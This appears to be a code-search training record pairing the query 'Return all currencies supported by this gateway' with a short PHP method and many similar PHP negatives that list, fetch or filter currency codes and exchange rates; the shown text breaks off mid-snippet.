[ "0.7232514", "0.6843993", "0.6841136", "0.6792221", "0.67890143", "0.6710847", "0.66876364", "0.660574", "0.65559626", "0.6488526", "0.6444683", "0.6444683", "0.6444683", "0.64100224", "0.6408947", "0.63773805", "0.6357685", "0.6350904", "0.6340624", "0.6340624", "0.6340574", "0.6328717", "0.6270649", "0.6267088", "0.62631106", "0.6244089", "0.6241004", "0.6238038", "0.623657", "0.62293696", "0.62094575", "0.62088025", "0.620321", "0.61961263", "0.6183166", "0.61703986", "0.61603415", "0.6159603", "0.61479974", "0.61479974", "0.61479974", "0.61479974", "0.61479974", "0.61479974", "0.61305887", "0.6113255", "0.6084119", "0.6065969", "0.6060697", "0.6055079", "0.60484934", "0.6036901", "0.6036656", "0.6036533", "0.603613", "0.60288185", "0.60134375", "0.6008861", "0.6005444", "0.59926426", "0.599259", "0.5979312", "0.59715176", "0.59608877", "0.5957798", "0.5954021", "0.59153396", "0.5903577", "0.5903577", "0.5903577", "0.5903577", "0.5903577", "0.5903577", "0.5903577", "0.5903577", "0.58983094", "0.58767456", "0.5876151", "0.58736503", "0.5870898", "0.5860874", "0.5860874", "0.5860874", "0.585827", "0.58571213", "0.5838128", "0.58367735", "0.58268464", "0.5821895", "0.58171046", "0.5806773", "0.58009315", "0.57967365", "0.57873744", "0.57840633", "0.57747585", "0.57592577", "0.5758144", "0.5748196", "0.5746511" ]
0.61262774
45
Return all currencies supported by this gateway
public function getCurrencies() { return array("CNY"); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getSupportedCurrencies()\n {\n return response()->json(Currency::all());\n }", "abstract protected function getSupportedCurrencies();", "function GetCurrencies()\n\t{\n\t\t$result = $this->sendRequest(\"GetCurrencies\", array());\t\n\t\treturn $this->getResultFromResponse($result);\n\t}", "public function getCurrencies();", "public function currencies()\n {\n return $this->_call('public/getcurrencies', [], false);\n }", "public function getCurrencies() {\n return $this->public([\n 'command' => 'returnCurrencies',\n ]);\n }", "public function getCurrencyRates()\n {\n return $this->curlCall();\n }", "public function getCurrencies ()\n\t{\n\t\treturn $this->call ('public/getcurrencies');\n\t}", "public function getCurrencies(): array\n {\n $out = $this->request('getCurrencies');\n return $out['result'];\n }", "public function getCurrencies()\n {\n return $this->_currencies;\n }", "public static function getAllCurrencies(){\r\n\t\t$db = JFactory::getDBO();\r\n\t\t$query = ' SELECT\r\n\t\t\t\t\th.*\r\n\t\t\t\t\tFROM #__hotelreservation_currencies h\r\n\t\t\t\t\tORDER BY description asc';\r\n\t\t$db->setQuery( $query );\r\n\t\treturn $db->loadObjectList();\r\n\t}", "public static function getCurrencies(): array\n {\n return Config::get('bazar.currencies.available', []);\n }", "public function getCurrencies() {\n\n $currencies= array();\n $date = '';\n \n $client = \\Drupal::httpClient();\n $request = $client->get(self::LESSON3_RATES_SERVICE);\n $responseXML = $request->getBody();\n\n\n if (!empty($request) && isset($responseXML)) {\n\n $data = new \\SimpleXMLElement($responseXML);\n foreach ($data->Currency as $value) {\n $currencies[] = array(\n 'CharCode' => (string)$value->CharCode,\n 'Name' => (string)$value->Name,\n 'Rate' => (string)$value->Rate,\n );\n }\n\n foreach ($data->attributes() as $key => $val) {\n $date .= (string) $val;\n }\n \n \\Drupal::configFactory()\n ->getEditable('lesson3.settings')\n ->set('lesson3.currencies', $currencies)\n ->set('lesson3.date', $date)\n ->save();\n } \n\n return $currencies;\n }", "public function getCurrencies()\n {\n return array(\"PLN\");\n }", "public function getCurrencies() {\n\t\t\t$currencies = CurrencyDenomination::all();\n\t\t\treturn response($currencies);\n\t\t}", "public function getAllowedCurrencies() {\r\n\t\treturn $this->_storeManager->getStore()->getAllowedCurrencies();\r\n\t}", "public function getSupportedCurrencies()\n\t{\n\t\treturn array('RUB');\n\t}", "public function getListCurrency()\n\t{\n\t\t$params = [\n\t\t\t'verify' => false,\n\t\t\t'query' => [\n\t\t\t\t'output' => Config::get( 'response.format' )\n\t\t\t]\n\t\t];\n\n\t\t$baseUrl = sprintf( Config::get( 'endpoints.base_url' ), Config::get( 'settings.api' ) ) . Config::get( 'endpoints.general_list_currency' );\n\n\t\ttry {\n\t\t\t$response = parent::send( 'GET', $baseUrl, $params );\n\t\t} catch (TiketException $e) {\n\t\t\tthrow parent::convertException( $e );\n\t\t}\n\n\t\treturn $response;\n\t}", "public static function getCurrencies()\n {\n $currencies = [];\n\n foreach (static::$currencies as $currency)\n {\n $currencies[$currency] = $currency;\n }\n\n return $currencies;\n }", "static function getCurrencies() {\n\t\t$currencies = array(\n\t\t\t'USD', // U.S. Dollar\n\t\t\t'GBP', // British Pound\n\t\t\t'EUR', // Euro\n\t\t\t'AUD', // Australian Dollar\n\t\t\t'CAD', // Canadian Dollar\n\t\t\t'JPY', // Japanese Yen\n\t\t);\n\t\treturn $currencies;\n\t}", "public static function get_supported_currencies() {\r\n\r\n\t\treturn array(\r\n\t\t\t'AED' => array( 'United Arab Emirates Dirham', '62F, 2E ,625' ),\r\n\t\t\t'AFN' => array( 'Afghan Afghani', '60b' ),\r\n\t\t\t'ALL' => array( 'Albanian Lek', '4c, 65, 6b' ),\r\n\t\t\t'AMD' => array( 'Armenian Dram', '58F' ),\r\n\t\t\t'ANG' => array( 'Netherlands Antillean Gulden', '192' ),\r\n\t\t\t'AOA' => array( 'Angolan Kwanza', '4B, 7A' ),\r\n\t\t\t'ARS' => array( 'Argentine Peso', '24' ),\r\n\t\t\t'AUD' => array( 'Australian Dollar', '24' ),\r\n\t\t\t'AWG' => array( 'Aruban Florin', '192' ),\r\n\t\t\t'AZN' => array( 'Azerbaijani Manat', '43c, 430, 43d' ),\r\n\t\t\t'BAM' => array( 'Bosnia & Herzegovina Convertible Mark', '4b, 4d' ),\r\n\t\t\t'BBD' => array( 'Barbadian Dollar', '24' ),\r\n\t\t\t'BDT' => array( 'Bangladeshi Taka', '09F3' ),\r\n\t\t\t'BGN' => array( 'Bulgarian Lev', '43b, 432' ),\r\n\t\t\t'BIF' => array( 'Burundian Franc', '46, 42, 75' ),\r\n\t\t\t'BMD' => array( 'Bermudian Dollar', '24' ),\r\n\t\t\t'BND' => array( 'Brunei Dollar', '24' ),\r\n\t\t\t'BOB' => array( 'Bolivian Boliviano', '24, 62' ),\r\n\t\t\t'BRL' => array( 'Brazilian Real', '52, 24' ),\r\n\t\t\t'BSD' => array( 'Bahamian Dollar', '24' ),\r\n\t\t\t'BWP' => array( 'Botswana Pula', '50' ),\r\n\t\t\t'BZD' => array( 'Belize Dollar', '42, 5a, 24' ),\r\n\t\t\t'CAD' => array( 'Canadian Dollar', '24' ),\r\n\t\t\t'CDF' => array( 'Congolese Franc', '46, 43' ),\r\n\t\t\t'CHF' => array( 'Swiss Franc', '43, 48, 46' ),\r\n\t\t\t'CLP' => array( 'Chilean Peso', '24' ),\r\n\t\t\t'CNY' => array( 'Chinese Renminbi Yuan', 'a5' ),\r\n\t\t\t'COP' => array( 'Colombian Peso', '24' ),\r\n\t\t\t'CRC' => array( 'Costa Rican Colón', '20a1' ),\r\n\t\t\t'CVE' => array( 'Cape Verdean Escudo', '24' ),\r\n\t\t\t'CZK' => array( 'Czech Koruna', '4b, 10d' ),\r\n\t\t\t'DJF' => array( 'Djiboutian Franc', '46, 64, 6A' ),\r\n\t\t\t'DKK' => array( 'Danish Krone', '6b, 72' ),\r\n\t\t\t'DOP' => array( 'Dominican Peso', '52, 44, 24' ),\r\n\t\t\t'DZD' => array( 'Algerian Dinar', '62F, 62C' ),\r\n\t\t\t'EEK' => array( 'Estonian Kroon', '6b, 72' ),\r\n\t\t\t'EGP' => array( 'Egyptian Pound', 'a3' ),\r\n\t\t\t'ETB' => array( 'Ethiopian Birr', '1265, 122D' ),\r\n\t\t\t'EUR' => array( 'Euro', '20ac' ),\r\n\t\t\t'FJD' => array( 'Fijian Dollar', '24' ),\r\n\t\t\t'FKP' => array( 'Falkland Islands Pound', 'a3' ),\r\n\t\t\t'GBP' => array( 'British Pound', 'a3' ),\r\n\t\t\t'GEL' => array( 'Georgian Lari', '10DA' ),\r\n\t\t\t'GIP' => array( 'Gibraltar Pound', 'a3' ),\r\n\t\t\t'GMD' => array( 'Gambian Dalasi', '44' ),\r\n\t\t\t'GNF' => array( 'Guinean Franc', '46, 47' ),\r\n\t\t\t'GTQ' => array( 'Guatemalan Quetzal', '51' ),\r\n\t\t\t'GYD' => array( 'Guyanese Dollar', '24' ),\r\n\t\t\t'HKD' => array( 'Hong Kong Dollar', '24' ),\r\n\t\t\t'HNL' => array( 'Honduran Lempira', '4c' ),\r\n\t\t\t'HRK' => array( 'Croatian Kuna', '6b, 6e' ),\r\n\t\t\t'HTG' => array( 'Haitian Gourde', '47' ),\r\n\t\t\t'HUF' => array( 'Hungarian Forint', '46, 74' ),\r\n\t\t\t'IDR' => array( 'Indonesian Rupiah', '52, 70' ),\r\n\t\t\t'ILS' => array( 'Israeli New Sheqel', '20aa' ),\r\n\t\t\t'INR' => array( 'Indian Rupee', '20B9' ),\r\n\t\t\t'ISK' => array( 'Icelandic Króna', '6b, 72' ),\r\n\t\t\t'JMD' => array( 'Jamaican Dollar', '4a, 24' ),\r\n\t\t\t'JPY' => array( 'Japanese Yen', 'a5' ),\r\n\t\t\t'KES' => array( 'Kenyan Shilling', '4B, 53, 68' ),\r\n\t\t\t'KGS' => array( 'Kyrgyzstani Som', '43b, 432' ),\r\n\t\t\t'KHR' => array( 'Cambodian Riel', '17db' ),\r\n\t\t\t'KMF' => array( 'Comorian Franc', '43, 46' ),\r\n\t\t\t'KRW' => array( 'South Korean Won', '20a9' ),\r\n\t\t\t'KYD' => array( 'Cayman Islands Dollar', '24' ),\r\n\t\t\t'KZT' => array( 'Kazakhstani Tenge', '43b, 432' ),\r\n\t\t\t'LAK' => array( 'Lao Kip', '20ad' ),\r\n\t\t\t'LBP' => array( 'Lebanese Pound', 'a3' ),\r\n\t\t\t'LKR' => array( 'Sri Lankan Rupee', '20a8' ),\r\n\t\t\t'LRD' => array( 'Liberian Dollar', '24' ),\r\n\t\t\t'LSL' => array( 'Lesotho Loti', '4C' ),\r\n\t\t\t'LTL' => array( 'Lithuanian Litas', '4c, 74' ),\r\n\t\t\t'LVL' => array( 'Latvian Lats', '4c, 73' ),\r\n\t\t\t'MAD' => array( 'Moroccan Dirham', '62F, 2E, 645, 2E' ),\r\n\t\t\t'MDL' => array( 'Moldovan Leu', '6C, 65, 69' ),\r\n\t\t\t'MGA' => array( 'Malagasy Ariary', '41, 72' ),\r\n\t\t\t'MKD' => array( 'Macedonian Denar', '434, 435, 43d' ),\r\n\t\t\t'MNT' => array( 'Mongolian Tögrög', '20ae' ),\r\n\t\t\t'MOP' => array( 'Macanese Pataca', '4D, 4F, 50, 24' ),\r\n\t\t\t'MRO' => array( 'Mauritanian Ouguiya', '55, 4D' ),\r\n\t\t\t'MUR' => array( 'Mauritian Rupee', '20a8' ),\r\n\t\t\t'MVR' => array( 'Maldivian Rufiyaa', '52, 66' ),\r\n\t\t\t'MWK' => array( 'Malawian Kwacha', '4D, 4B' ),\r\n\t\t\t'MXN' => array( 'Mexican Peso', '24' ),\r\n\t\t\t'MYR' => array( 'Malaysian Ringgit', '52, 4d' ),\r\n\t\t\t'MZN' => array( 'Mozambican Metical', '4d, 54' ),\r\n\t\t\t'NAD' => array( 'Namibian Dollar', '24' ),\r\n\t\t\t'NGN' => array( 'Nigerian Naira', '20a6' ),\r\n\t\t\t'NIO' => array( 'Nicaraguan Córdoba', '43, 24' ),\r\n\t\t\t'NOK' => array( 'Norwegian Krone', '6b, 72' ),\r\n\t\t\t'NPR' => array( 'Nepalese Rupee', '20a8' ),\r\n\t\t\t'NZD' => array( 'New Zealand Dollar', '24' ),\r\n\t\t\t'PAB' => array( 'Panamanian Balboa', '42, 2f, 2e' ),\r\n\t\t\t'PEN' => array( 'Peruvian Nuevo Sol', '53, 2f, 2e' ),\r\n\t\t\t'PGK' => array( 'Papua New Guinean Kina', '4B' ),\r\n\t\t\t'PHP' => array( 'Philippine Peso', '20b1' ),\r\n\t\t\t'PKR' => array( 'Pakistani Rupee', '20a8' ),\r\n\t\t\t'PLN' => array( 'Polish Złoty', '7a, 142' ),\r\n\t\t\t'PYG' => array( 'Paraguayan Guaraní', '47, 73' ),\r\n\t\t\t'QAR' => array( 'Qatari Riyal', 'fdfc' ),\r\n\t\t\t'RON' => array( 'Romanian Leu', '6c, 65, 69' ),\r\n\t\t\t'RSD' => array( 'Serbian Dinar', '414, 438, 43d, 2e' ),\r\n\t\t\t'RUB' => array( 'Russian Ruble', '440, 443, 431' ),\r\n\t\t\t'RWF' => array( 'Rwandan Franc', '52, 20A3' ),\r\n\t\t\t'SAR' => array( 'Saudi Riyal', 'fdfc' ),\r\n\t\t\t'SBD' => array( 'Solomon Islands Dollar', '24' ),\r\n\t\t\t'SCR' => array( 'Seychellois Rupee', '20a8' ),\r\n\t\t\t'SEK' => array( 'Swedish Krona', '6b, 72' ),\r\n\t\t\t'SGD' => array( 'Singapore Dollar', '24' ),\r\n\t\t\t'SHP' => array( 'Saint Helenian Pound', 'a3' ),\r\n\t\t\t'SLL' => array( 'Sierra Leonean Leone', '4C, 65' ),\r\n\t\t\t'SOS' => array( 'Somali Shilling', '53' ),\r\n\t\t\t'SRD' => array( 'Surinamese Dollar', '24' ),\r\n\t\t\t'STD' => array( 'São Tomé and Príncipe Dobra', '44, 62' ),\r\n\t\t\t'SVC' => array( 'Salvadoran Colón', '24' ),\r\n\t\t\t'SZL' => array( 'Swazi Lilangeni', '45' ),\r\n\t\t\t'THB' => array( 'Thai Baht', 'e3f' ),\r\n\t\t\t'TJS' => array( 'Tajikistani Somoni', '73, 6F, 6D, 6F, 6E, 69' ),\r\n\t\t\t'TOP' => array( 'Tongan Paʻanga', '54, 24' ),\r\n\t\t\t'TRY' => array( 'Turkish Lira', '20BA' ),\r\n\t\t\t'TTD' => array( 'Trinidad and Tobago Dollar', '54, 54, 24' ),\r\n\t\t\t'TWD' => array( 'New Taiwan Dollar', '4e, 54, 24' ),\r\n\t\t\t'TZS' => array( 'Tanzanian Shilling', '78, 2F, 79' ),\r\n\t\t\t'UAH' => array( 'Ukrainian Hryvnia', '20b4' ),\r\n\t\t\t'UGX' => array( 'Ugandan Shilling', '55, 53, 68' ),\r\n\t\t\t'USD' => array( 'United States Dollar', '24' ),\r\n\t\t\t'UYU' => array( 'Uruguayan Peso', '24, 55' ),\r\n\t\t\t'UZS' => array( 'Uzbekistani Som', '43b, 432' ),\r\n\t\t\t'VND' => array( 'Vietnamese Đồng', '20ab' ),\r\n\t\t\t'VUV' => array( 'Vanuatu Vatu', '56, 54' ),\r\n\t\t\t'WST' => array( 'Samoan Tala', '24' ),\r\n\t\t\t'XAF' => array( 'Central African Cfa Franc', '46, 43, 46, 41' ),\r\n\t\t\t'XCD' => array( 'East Caribbean Dollar', '24' ),\r\n\t\t\t'XOF' => array( 'West African Cfa Franc', '43, 46, 41' ),\r\n\t\t\t'XPF' => array( 'Cfp Franc', '46' ),\r\n\t\t\t'YER' => array( 'Yemeni Rial', 'fdfc' ),\r\n\t\t\t'ZAR' => array( 'South African Rand', '52' ),\r\n\t\t\t'ZMW' => array( 'Zambian Kwacha', '4B' ),\r\n\t\t);\r\n\t}", "public static function getCurrencies(): array\n {\n return [\n 'USD', 'EUR', 'GBP', 'AED', 'AFN', 'ALL', 'AMD', 'ANG', 'AOA', \n 'ARS', 'AUD', 'AWG', 'AZN', 'BAM', 'BBD', 'BDT', 'BGN', 'BIF', \n 'BMD', 'BND', 'BOB', 'BRL', 'BSD', 'BWP', 'BZD', 'CAD', 'CDF', \n 'CHF', 'CLP', 'CNY', 'COP', 'CRC', 'CVE', 'CZK', 'DJF', 'DKK', \n 'DOP', 'DZD', 'EGP', 'ETB', 'FJD', 'FKP', 'GEL', 'GIP', 'GMD', \n 'GNF', 'GTQ', 'GYD', 'HKD', 'HNL', 'HRK', 'HTG', 'HUF', 'IDR', \n 'ILS', 'INR', 'ISK', 'JMD', 'JPY', 'KES', 'KGS', 'KHR', 'KMF', \n 'KRW', 'KYD', 'KZT', 'LAK', 'LBP', 'LKR', 'LRD', 'LSL', 'MAD', \n 'MDL', 'MGA', 'MKD', 'MMK', 'MNT', 'MOP', 'MRO', 'MUR', 'MVR', \n 'MWK', 'MXN', 'MYR', 'MZN', 'NAD', 'NGN', 'NIO', 'NOK', 'NPR', \n 'NZD', 'PAB', 'PEN', 'PGK', 'PHP', 'PKR', 'PLN', 'PYG', 'QAR', \n 'RON', 'RSD', 'RUB', 'RWF', 'SAR', 'SBD', 'SCR', 'SEK', 'SGD', \n 'SHP', 'SLL', 'SOS', 'SRD', 'STD', 'SZL', 'THB', 'TJS', 'TOP', \n 'TRY', 'TTD', 'TWD', 'TZS', 'UAH', 'UGX', 'UYU', 'UZS', 'VND', \n 'VUV', 'WST', 'XAF', 'XCD', 'XOF', 'XPF', 'YER', 'ZAR', 'ZMW'\n ];\n }", "public function getAllCurrencies()\n {\n $currencies = $this->repository->supplemental['codeMappings'];\n $datas = array();\n foreach (array_keys($currencies) as $currency_code) {\n if ($currency_code === 'XTS' || strlen($currency_code) !== 3) {\n continue;\n }\n $currency = $this->getCurrency($currency_code);\n $datas[] = array(\n 'name' => ucfirst($currency['name']).' ('.$currency_code.')',\n 'code' => $currency_code,\n 'iso_code' => $currency['iso_code']\n );\n }\n\n //sort array naturally\n uasort($datas, function ($x, $y) {\n return strnatcmp($x[\"name\"], $y[\"name\"]);\n });\n\n return $datas;\n }", "public function getConfigBaseCurrencies()\n {\n $defaultCurrencies = $this->_getResource()->getConfigCurrencies($this, self::XML_PATH_CURRENCY_BASE);\n return $defaultCurrencies;\n }", "public function returnCurrencies(): array\n {\n $currencies = [];\n foreach ($this->request('returnCurrencies') as $key => $response) {\n /* @var $currency Currency */\n $currencies[$key] = $this->factory(Currency::class, $response);\n }\n\n return $currencies;\n }", "public function getPaymentCurrencyOptions()\n { \n // Return the options as array\n return $this->currencyManager->toOptionArray();\n }", "public function getUseCurrencyExchangeRates()\n {\n return $this->_useCurrencyExchangeRates;\n }", "private function getCurrencySymbols()\n {\n $currencySymbols = [\n [\n 'website_id' => $this->allWebsitesOptionId,\n 'symbol' => $this->getCurrencySymbolByCode($this->getBaseCurrencyCode()),\n ]\n ];\n $websites = $this->storeManager->getWebsites();\n foreach ($websites as $website) {\n $currencySymbols[] = [\n 'website_id' => (int)$website->getId(),\n 'symbol' => $this->getCurrencySymbolByCode($website->getBaseCurrencyCode()),\n ];\n }\n return $currencySymbols;\n }", "public function getCurrencyAllowableValues()\n {\n return [\n self::CURRENCY_EUR,\n self::CURRENCY_USD,\n self::CURRENCY_GBP,\n self::CURRENCY_CAD,\n self::CURRENCY_AUD,\n self::CURRENCY_DJF,\n self::CURRENCY_ZAR,\n self::CURRENCY_ETB,\n self::CURRENCY_AED,\n self::CURRENCY_BHD,\n self::CURRENCY_DZD,\n self::CURRENCY_EGP,\n self::CURRENCY_IQD,\n self::CURRENCY_JOD,\n self::CURRENCY_KWD,\n self::CURRENCY_LBP,\n self::CURRENCY_LYD,\n self::CURRENCY_MAD,\n self::CURRENCY_OMR,\n self::CURRENCY_QAR,\n self::CURRENCY_SAR,\n self::CURRENCY_SYP,\n self::CURRENCY_TND,\n self::CURRENCY_YER,\n self::CURRENCY_CLP,\n self::CURRENCY_INR,\n self::CURRENCY_AZN,\n self::CURRENCY_RUB,\n self::CURRENCY_BYN,\n self::CURRENCY_BGN,\n self::CURRENCY_NGN,\n self::CURRENCY_BDT,\n self::CURRENCY_CNY,\n self::CURRENCY_BAM,\n self::CURRENCY_CZK,\n self::CURRENCY_DKK,\n self::CURRENCY_CHF,\n self::CURRENCY_MVR,\n self::CURRENCY_BTN,\n self::CURRENCY_XCD,\n self::CURRENCY_BZD,\n self::CURRENCY_HKD,\n self::CURRENCY_IDR,\n self::CURRENCY_JMD,\n self::CURRENCY_MYR,\n self::CURRENCY_NZD,\n self::CURRENCY_PHP,\n self::CURRENCY_SGD,\n self::CURRENCY_TTD,\n self::CURRENCY_XDR,\n self::CURRENCY_ARS,\n self::CURRENCY_BOB,\n self::CURRENCY_COP,\n self::CURRENCY_CRC,\n self::CURRENCY_CUP,\n self::CURRENCY_DOP,\n self::CURRENCY_GTQ,\n self::CURRENCY_HNL,\n self::CURRENCY_MXN,\n self::CURRENCY_NIO,\n self::CURRENCY_PAB,\n self::CURRENCY_PEN,\n self::CURRENCY_PYG,\n self::CURRENCY_UYU,\n self::CURRENCY_VEF,\n self::CURRENCY_IRR,\n self::CURRENCY_XOF,\n self::CURRENCY_CDF,\n self::CURRENCY_XAF,\n self::CURRENCY_HTG,\n self::CURRENCY_ILS,\n self::CURRENCY_HRK,\n self::CURRENCY_HUF,\n self::CURRENCY_AMD,\n self::CURRENCY_ISK,\n self::CURRENCY_JPY,\n self::CURRENCY_GEL,\n self::CURRENCY_KZT,\n self::CURRENCY_KHR,\n self::CURRENCY_KRW,\n self::CURRENCY_KGS,\n self::CURRENCY_LAK,\n self::CURRENCY_MKD,\n self::CURRENCY_MNT,\n self::CURRENCY_BND,\n self::CURRENCY_MMK,\n self::CURRENCY_NOK,\n self::CURRENCY_NPR,\n self::CURRENCY_PKR,\n self::CURRENCY_PLN,\n self::CURRENCY_AFN,\n self::CURRENCY_BRL,\n self::CURRENCY_MDL,\n self::CURRENCY_RON,\n self::CURRENCY_RWF,\n self::CURRENCY_SEK,\n self::CURRENCY_LKR,\n self::CURRENCY_SOS,\n self::CURRENCY_ALL,\n self::CURRENCY_RSD,\n self::CURRENCY_KES,\n self::CURRENCY_TJS,\n self::CURRENCY_THB,\n self::CURRENCY_ERN,\n self::CURRENCY_TMT,\n self::CURRENCY_BWP,\n self::CURRENCY__TRY,\n self::CURRENCY_UAH,\n self::CURRENCY_UZS,\n self::CURRENCY_VND,\n self::CURRENCY_MOP,\n self::CURRENCY_TWD,\n self::CURRENCY_BMD,\n ];\n }", "public function listCurrenciesWithExchangeRate()\n {\n $service_response = $this->exchange_service\n ->getCurrenciesWithExchangeRate(\n auth()->user(),\n );\n return $service_response->success\n ? Responser::send(200, $service_response->data, $service_response->message)\n : Responser::sendError(400, $service_response->message, $service_response->message);\n }", "private function jeeb_available_currencies_list()\n {\n $currencies = [\n \"IRT\" => \"IRT (Toman)\",\n \"IRR\" => \"IRR (Rial)\",\n \"BTC\" => \"BTC (Bitcoin)\",\n \"USD\" => \"USD (US Dollar)\",\n \"USDT\" => \"USDT (TetherUS)\",\n \"EUR\" => \"EUR (Euro)\",\n \"GBP\" => \"GBP (Pound)\",\n \"CAD\" => \"CAD (CA Dollar)\",\n \"AUD\" => \"AUD (AU Dollar)\",\n \"JPY\" => \"JPY (Yen)\",\n \"CNY\" => \"CNY (Yuan)\",\n \"AED\" => \"AED (Dirham)\",\n \"TRY\" => \"TRY (Lira)\",\n ];\n\n return $currencies;\n }", "public function getUseExchangeRates();", "function getCurrencyRates() {\n\t// If you change these, make sure to also update any JS validation scripts\n\t// For now I'm not rounding numbers under 1 because I don't think that's a big issue and could cause issues with the max check.\n\t$currencyRates = array(\n\t\t'AED' => '4',\n\t\t'ARS' => '4',\n\t\t'AUD' => '1',\n\t\t'BBD' => '2',\n\t\t'BDT' => '76',\n\t\t'BGN' => '1',\n\t\t'BHD' => '0.4',\n\t\t'BMD' => '1',\n\t\t'BND' => '1',\n\t\t'BOB' => '7',\n\t\t'BRL' => '2',\n\t\t'BSD' => '1',\n\t\t'BZD' => '2',\n\t\t'CAD' => '1',\n\t\t'CHF' => '0.9',\n\t\t'CLP' => '494',\n\t\t'CNY' => '6',\n\t\t'COP' => '1910',\n\t\t'CRC' => '512',\n\t\t'CZK' => '18',\n\t\t'DKK' => '5',\n\t\t'DOP' => '38',\n\t\t'DZD' => '73',\n\t\t'EEK' => '11',\n\t\t'EGP' => '6',\n\t\t'EUR' => '0.7',\n\t\t'GBP' => '0.6',\n\t\t'GTQ' => '8',\n\t\t'HKD' => '8',\n\t\t'HNL' => '19',\n\t\t'HRK' => '5',\n\t\t'HUF' => '219',\n\t\t'IDR' => '8960',\n\t\t'ILS' => '4',\n\t\t'INR' => '49',\n\t\t'JMD' => '85',\n\t\t'JOD' => '0.7',\n\t\t'JPY' => '78',\n\t\t'KES' => '97',\n\t\t'KRW' => '1127',\n\t\t'KYD' => '0.8',\n\t\t'KZT' => '147',\n\t\t'LBP' => '1500',\n\t\t'LKR' => '110',\n\t\t'LTL' => '2',\n\t\t'LVL' => '0.5',\n\t\t'MAD' => '8',\n\t\t'MKD' => '45',\n\t\t'MUR' => '29',\n\t\t'MVR' => '15',\n\t\t'MXN' => '13',\n\t\t'MYR' => '3',\n\t\t'NOK' => '5',\n\t\t'NZD' => '1',\n\t\t'OMR' => '0.3',\n\t\t'PAB' => '1',\n\t\t'PEN' => '3',\n\t\t'PHP' => '43',\n\t\t'PKR' => '86',\n\t\t'PLN' => '3',\n\t\t'PYG' => '4190',\n\t\t'QAR' => '4',\n\t\t'RON' => '3',\n\t\t'RUB' => '30',\n\t\t'SAR' => '4',\n\t\t'SEK' => '6',\n\t\t'SGD' => '1',\n\t\t'SVC' => '9',\n\t\t'THB' => '30',\n\t\t'TJS' => '5',\n\t\t'TND' => '1',\n\t\t'TRY' => '2',\n\t\t'TTD' => '6',\n\t\t'TWD' => '30',\n\t\t'UAH' => '8',\n\t\t'USD' => '1',\n\t\t'UYU' => '19',\n\t\t'UZS' => '1760',\n\t\t'VND' => '21000',\n\t\t'XAF' => '470',\n\t\t'XCD' => '3',\n\t\t'XOF' => '476',\n\t\t'ZAR' => '8',\n\t);\n\t\n\treturn $currencyRates;\n}", "public function getCurrencyList()\n {\n if (null === $this->currencyList) {\n $this->setCurrencyList(new CurrencyList);\n }\n\n return $this->currencyList;\n }", "public function getConfigAllowCurrencies()\n {\n $allowedCurrencies = $this->_getResource()->getConfigCurrencies($this, self::XML_PATH_CURRENCY_ALLOW);\n $appBaseCurrencyCode = Mage::app()->getBaseCurrencyCode();\n if (!in_array($appBaseCurrencyCode, $allowedCurrencies)) {\n $allowedCurrencies[] = $appBaseCurrencyCode;\n }\n foreach (Mage::app()->getStores() as $store) {\n $code = $store->getBaseCurrencyCode();\n if (!in_array($code, $allowedCurrencies)) {\n $allowedCurrencies[] = $code;\n }\n }\n\n return $allowedCurrencies;\n }", "public function getCurrenciesAccepted()\n {\n return $this->currenciesAccepted;\n }", "public function getCurrencies()\n {\n return $this->hasMany(Currency::className(), ['ap_gl_acc_id' => 'account_id']);\n }", "public function getAvailableCurrencyCodes($skipBaseNotAllowed = false) {\r\n\t\treturn $this->_storeManager->getStore()->getAvailableCurrencyCodes($skipBaseNotAllowed);\r\n\t}", "public function getAllCurrenciesToParse() {\n $currencies = $this->database->queryToSelect(\n \"SELECT cryptocurrency_info.id AS info_id, cryptocurrency_info.value_to_usd, cryptocurrency_info.value_to_btc, cryptocurrency_info.currency_symbol, all_cryptocurrency.id AS currency_id, all_cryptocurrency.name AS currency_name, all_cryptocurrency.code AS currency_code, burse.id AS burse_id, burse.name AS burse_name, burse.code AS burse_code\n FROM cryptocurrency_info\n LEFT JOIN all_cryptocurrency ON cryptocurrency_info.currency_id = all_cryptocurrency.id\n LEFT JOIN burse ON cryptocurrency_info.burse_id = burse.id\"\n );\n $currencies_to_parse = [];\n foreach ($currencies as $currency) {\n $currencies_to_parse[$currency['burse_code']][$currency['currency_symbol']] = $currency;\n }\n return $currencies_to_parse;\n }", "public function index()\n {\n return Currency::all();\n }", "public function currencies(): CurrenciesResponse\n {\n $payload = Payload::list('currencies');\n\n $result = $this->transporter->get($payload->uri)->throw();\n\n return CurrenciesResponse::from(attributes: (array) $result->json('data'));\n }", "public function getCurrencyPerCountry()\n {\n return [\n self::SWEDEN => 'SEK',\n self::NORWAY => 'NOK',\n self::FINLAND => 'EUR',\n self::DENMARK => 'DKK',\n self::GERMANY => 'EUR'\n ];\n }", "public static function getInfoForCurrencies(): array\n {\n if (null !== self::$currencies) {\n self::$currencies;\n }\n\n try {\n $data = YamlService::getFromFile(__DIR__ . '/Resources/config/currencies.yml');\n // Select lang in config of currencies...\n $data['currencies'] = self::defineCurrencyLang($data['currencies']);\n self::$currencies = $data['currencies'];\n\n return self::$currencies;\n } catch (FileNotFoundException $exception) {\n // @todo we need some error handling but the application don't need to crash!\n }\n\n return [];\n }", "public function getCurrenciesAction()\n {\n $repository = Shopware()->Models()->getRepository('Shopware\\Models\\Shop\\Currency');\n\n $builder = $repository->createQueryBuilder('c');\n $builder->select(\n [\n 'c.id as id',\n 'c.name as name',\n 'c.currency as currency',\n 'c.symbol as symbol',\n 'c.factor as factor',\n 'c.default as default'\n ]\n );\n\n $query = $builder->getQuery();\n\n $total = Shopware()->Models()->getQueryCount($query);\n\n $data = $query->getArrayResult();\n\n $this->View()->assign(\n [\n 'success' => true,\n 'data' => $data,\n 'total' => $total\n ]\n );\n }", "public function fetchSupportedCurrencies(CurrencyFactory $factory, Logger $logger) {\n return array('btc', 'usd');\n }", "private function jeeb_available_coins_list()\n {\n $currencies = [\n \"BTC\" => \"BTC (Bitcoin)\",\n \"ETH\" => \"ETH (Ethereum)\",\n \"DOGE\" => \"DOGE (Dogecoin)\",\n \"LTC\" => \"LTC (Litecoin)\",\n \"USDT\" => \"USDT (TetherUS)\",\n \"BNB\" => \"BNB (BNB)\",\n \"USDC\" => \"USDC (USD Coin)\",\n \"ZRX\" => \"ZRX (0x)\",\n \"LINK\" => \"LINK (ChainLink)\",\n \"PAX\" => \"PAX (Paxos Standard)\",\n \"DAI\" => \"DAI (Dai)\",\n \"TBTC\" => \"TBTC (Bitcoin Testnet)\",\n \"TETH\" => \"TETH (Ethereum 